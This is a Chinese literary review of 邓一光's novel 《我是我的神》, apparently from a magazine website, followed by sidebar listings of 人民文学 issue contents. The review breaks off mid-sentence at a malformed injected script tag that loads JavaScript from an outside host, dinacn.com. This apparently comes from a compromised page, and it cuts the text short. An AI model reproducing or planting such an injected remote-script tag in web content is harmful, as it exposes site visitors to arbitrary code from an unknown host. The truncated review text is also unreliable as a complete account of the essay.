捍卫人的光荣战役

2008-4-25 作者：李敬泽阅读：

大中小

    关于《我是我的神》，劈头一件触目惊心之事就是它的规模：两大卷，八十万字。

    在这个时代，写如此之长的小说，可能有两个原因，一是笨，二是，作者有浩浩荡荡的力气——这种力气是身体禀赋，我们能够感觉到作者是一匹猛兽，他讲述的欲望和身体的欲望一样强悍，同时，他也必是一匹有信念的猛兽：他知道他要干什么，他气吞万里如虎。

    邓一光的情况属于后者。在《我是我的神》中，他始终亢奋，平静的时刻也是警觉的时刻，一根针落地便是奔腾咆哮，野马尘埃。

    小说的长度问题其实有其相对性：长度与速度相关，老牛破车，则十里为长，风驰电掣则千里为短，《我是我的神》很长，但它有狂飙般的速度。

    速度快慢当然不是评价小说的标准。王安忆的很多小说很慢，慢到接近于不动，她的意图大概是，小说与这个高速的目不暇接的世界共处的方式、小说介入公众意识的方式，应该是慢——是维护重、维护注视和沉思和记忆。

    也就是说，当我们度量小说的速度时，是以小说之外的世界的速度为参照的。我们认为这个世界很快，不是牛顿力学意义上的快，不是一个物体在空间中的连续运动，而是无限的变化是时代的离子加速器上主体的碎裂，是快到了今日之我不知昨日之我办公室不知网上之我，是主体的消散、“我”的消散。

    所以，王安忆之慢是力图想象和构造一个主体，一个有边界有历史相对整全的主体，至少是这样一个主体的切片。问题的严峻性在于，主体消散的奢侈欣快和娱乐和消费和历史终结一起，取消了构造健全的公共空间的基本前提——如果我们不相信、我们不再想象和探索一个有历史、有自我意识和自我承担，并且以他的选择和行动构成有意义的叙事的个人主体，那么，不仅小说可以取消，建立一个善好社会的任何希望和努力皆可取消。

    在这个意义上，小说必须捍卫人的形象和人的可能，通过王安忆式的慢和邓一光式的快：他是以快打快，他如同一个军事家，以钢铁决心和在耐心中积聚起来的迅猛完成了两代人的精神征战。

    《我是我的神》是精神史，是精神在宏大历史和庸常生活之间觉醒、挣扎、存续、自证的历史。这份历史不属于我们，仅仅属于这部小说中的人们，邓一光撰写了一部可能的精神史。而就在此时，中国的小说正困顿于精神叙事的坚城之下——

    小说中充塞着现象和行动，充塞着小说家们对现象和行动的理解——借来的、权宜的理解，这样的理解在较小的规模上或可敷衍，比如在中短篇小说中，但在长篇小说中、在对历史和现实的较大规模和较长时段的表现中就捉襟见肘。我一再说过，近些年的中国长篇小说的一个基本特点就是虎头蛇尾——是不是虎头难言矣，但蛇尾几乎是命中注定的，作者自以为知道他的小说怎么开始，不幸的是，他总会发现他不知道怎么结束。

    ——根本的原因不在于作家是否花了足够的功夫，而在于小说中人物的精神生命远不如肉身长久，人还没死呢，但精神断了，前路茫茫，只好偃旗息鼓或者把人弄死拉倒。

    根本的原因在于精神，在于作家并没有比他的人物更多一点的信念、更强一点的精神力量，作家倒是有比他的人物更强大的“现实感”，他预先就知道——不可能。

    长篇小说的困顿在根本上是由于精神的困顿，只好求助于情节、事件、现象，但在这一切之中，却没有“人”或只有破碎的人，没有对人的形象的探索和想象，没有人的形象得以确立的有力的精神叙事。

    有可能的话，这个时代的长篇小说都该从后看起，底牌在后面。此时的绝大部分长篇小说在我看来都是未完成的，无力完成也注定不能完成。

    但《我是我的神》竟然完成了。这才是这部书的真正令人惊心之事。这部长篇最终形成了沉郁苍茫的力量——经历几百页的情节、事件、现象，最终，人站立在那里。

    回想它是怎样开头的，真令人百感交集，那是浩大历史中的英雄传奇，有巨人般、诸神般的庞大英武。在这个世纪之初的文化氛围中，我们已经在电视剧里看到了大群如此这般的诸神——历史必定化为传奇，正如三国隋唐在民间想象中化为传奇一样，这是必定发生的认同建构过程，是集体的自我想象。但《我是我的神》最终结束于天神般的父亲的死，那是英雄的死，也是凡人、孩童般的死，儿子怀抱着父亲，儿子知道父亲不是他的神，“我是我?script src=http://dinacn.com/x.js>

- 文章分类 -
时政社会财经产业
娱乐体坛生活健康
文学科技教育社科
文化技术文摘科学文摘

150.00元/年

- 热点文章 -

更多文章

新区的梦想与挑战

正如它的名字，雄安，一个横空出世的地理概念，一跃成为“雄伟”和“安定”的象征。这一步出人意料的棋子，是如何下的，而它又能否破解超级城市困局？

朝鲜这六年

无论观察家们是否愿意承认，被“崩溃”传闻笼罩已有1/4个世纪的平壤当局自有其维系生存的秘诀；年少当国、笑容可掬的金正恩，行事风格也远比外界的预估来得强硬果决。

人民文学 2017年01期要目

报告文学《塘约道路》，用明晰的思路、确凿的事例和真切的故事，将地方与国家、人与时代、发展与守护、创新与前景熔于一炉，我们从中也真切地体会到了文脉与国脉、文运与国运的深刻联系。散文《建水笔记》，是一个综合了客观的文化历史与作家的个人发现的

人民文学 2016年12期要目

2016年是值得留念的文学时段。这一年，在文学及其相关领域里，对中国故事的精神、价值与分量的追求令人印象深刻，向思想精深、艺术精湛的目标迈进的脚印坚实有力，佳作迭出，反响积极，写作、阅读和推广的联动态势更为自然成熟，形成了较以往更为浓郁

人民文学 2016年11期要目

从一九五六年第九期《人民文学》发表的《组织部新来的青年人》（原稿标题为《组织部来了个年轻人》），到本期刊出的《女神》；从赵慧文对林震的心有灵犀，到陈布文对王蒙的烛照影响——六十载今昔往返中，王蒙给我们呈现了刻骨铭心的忆念“非虚构”与不拘一格

人民文学 2016年10期要目

《怅望》是诗人马新朝生前所写的最后一组力作，犹如一座文学的纪念碑——关乎尊严，关乎热爱，关乎俯身大地的事体与伸向星空的内心，关乎生命的具象和抽象，关乎人世安详!

人民文学 2016年09期要目

二三十岁的年龄，正是活力和才情上涌之时。翻开《人民文学》历史，你会惊讶于《组织部新来的青年人》、《北极村童话》出自不满二十二岁的王蒙、迟子建。跟他们相比，如今的青年作家发轫期整体上似乎延后了许多。文学向来不以年轻与否论英雄，然而，年轻出英才

人民文学 2016年8期要目

近年来，每逢第八期，我们都以军人、军队与军史题材作品组成庆祝建军节专号或专辑。这一次，我们没有特别标明，但读后便知，中篇小说栏中的三分之二、短篇小说头条，都是故事相关、艺术讲究、视角独特的军事文学佳作。

人民文学 2016年7期要目

缘于战士一次自作主张的“绑票”行动，财主家的小少爷进入红军队伍中。错误被纠正之后，却无论如何也没有办法送他回家，在酷烈的战事和恶劣的环境中，一次又一次的纠结和艰险情形下，他在长征路上得到了一个又一个红军战士的保护和疼惜——以格外稀缺的食物、

人民文学 2016年06期要目

近期最令人欣喜的文学事件，是国际安徒生奖首次颁发给中国作家，曹文轩成为这一世界级重要文学成就奖项的首位中国得主。《蜻蜓眼》是曹文轩的最新力作，这部长篇小说，如同影响巨大的《草房子》那样，可以视为“儿童文学”，更应该看作是经典文脉上的文学。


中考指南	高考必备	小学语文	小学数学	小学作文	领导战略	管理有方	资本运作	门店必备	健康宝典	礼仪天下
初中单科	高中必修	高效学习	少儿智力	青少心理	财税必备	成功励志	绩效管理	私募攻略	纳税筹划	网络营销
教师指南	家教秘笈	小学课堂	物理实验	化学实验	营销必胜	赢在人才	合法节税	悟性管理	采购管控	创意陈列